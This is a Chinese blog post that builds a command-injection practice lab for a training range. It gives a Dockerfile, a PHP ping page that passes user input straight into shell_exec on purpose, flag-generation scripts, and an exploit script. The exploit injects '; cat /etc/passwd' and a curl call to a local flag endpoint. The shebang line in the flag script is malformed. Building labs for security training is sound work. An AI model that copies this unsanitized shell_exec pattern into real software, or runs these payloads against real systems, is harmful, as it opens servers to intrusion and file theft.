一个易林天靶场详细的漏洞环境开发示例-优快云博客

本文链接：https://blog.youkuaiyun.com/jjj_web/article/details/149467291

以下是完整的 ‌Web命令注入漏洞环境‌ 开发示例，包含前后端交互、动态Flag生成和自动化检查功能：

Dockerfile


# 基于Ubuntu构建
FROM ubuntu:22.04

# 安装基础服务
RUN apt update && \
    apt install -y nginx php-fpm python3 && \
    rm -rf /var/lib/apt/lists/*

# 配置PHP环境
RUN sed -i 's/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/' /etc/php/8.1/fpm/php.ini && \
    echo "clear_env = no" >> /etc/php/8.1/fpm/pool.d/www.conf

# 部署漏洞应用
COPY src /var/www/html
COPY flag_script.py /usr/local/bin/
RUN chmod +x /usr/local/bin/flag_script.py

# 设置动态Flag
ENV DYNAMIC_FLAG=true
ENV TEAM_TOKEN=default_token

# 启动脚本
COPY entrypoint.sh /
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

EXPOSE 80

src/index.php

<?php
$output = "";
if(isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = shell_exec("ping -c 4 " . $cmd);
}
?>
<!DOCTYPE html>
<html>
<body>
    <h2>网络连通性测试</h2>
    <form method="POST">
        <input type="text" name="cmd" placeholder="输入IP地址" required>
        <button type="submit">测试</button>
    </form>
    <pre><?= htmlspecialchars($output) ?></pre>
    <!-- 隐藏的Flag获取接口 -->
    <a href="/get_flag.php" style="display:none">Flag</a>
</body>
</html>

src/get_flag.

<?php
header('Content-Type: text/plain');
$flag = file_get_contents('/flag.txt');
if($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
    echo $flag;
} else {
    echo "Permission denied";
}
?>

flag_script.py

usr/bin/python3
import os
import hashlib
import json

FLAG_PATH = "/flag.txt"

def generate_flag(team_token):
    """ 生成动态Flag """
    seed = os.urandom(16)
    flag = f"FLAG_{hashlib.sha256(seed + team_token.encode()).hexdigest()[:32]}"
    with open(FLAG_PATH, 'w') as f:
        f.write(flag)
    return flag

def check_flag(submitted_flag):
    """ 验证Flag格式 """
    if not submitted_flag.startswith("FLAG_"):
        return False
    with open(FLAG_PATH, 'r') as f:
        true_flag = f.read().strip()
    return submitted_flag == true_flag

if __name__ == "__main__":
    import sys
    if sys.argv[1] == "generate":
        print(generate_flag(sys.argv[2]))
    elif sys.argv[1] == "check":
        exit(0 if check_flag(sys.argv[2]) else 1)

entrypoint.sh

#!/bin/bash

# 生成动态Flag
if [ "$DYNAMIC_FLAG" = "true" ]; then
    python3 /usr/local/bin/flag_script.py generate "$TEAM_TOKEN" > /flag.txt
    chmod 444 /flag.txt
fi

# 启动服务
service php8.1-fpm start
nginx -g "daemon off;" &

# 健康检查
while true; do
    curl -s http://localhost/ > /dev/null || exit 1
    sleep 30
done

exploit.py

import requests
import re

TARGET = "http://vuln-container:80"

# 步骤1: 发现命令注入点
payload = "127.0.0.1; cat /etc/passwd"
response = requests.post(TARGET, data={"cmd": payload})
print("命令注入结果:\n", response.text)

# 步骤2: 获取Flag
payload = f"127.0.0.1; curl -s http://localhost/get_flag.php"
flag = re.search(r"FLAG_\w{32}", requests.post(TARGET, data={"cmd": payload}).text)
print("获取到的Flag:", flag.group(0))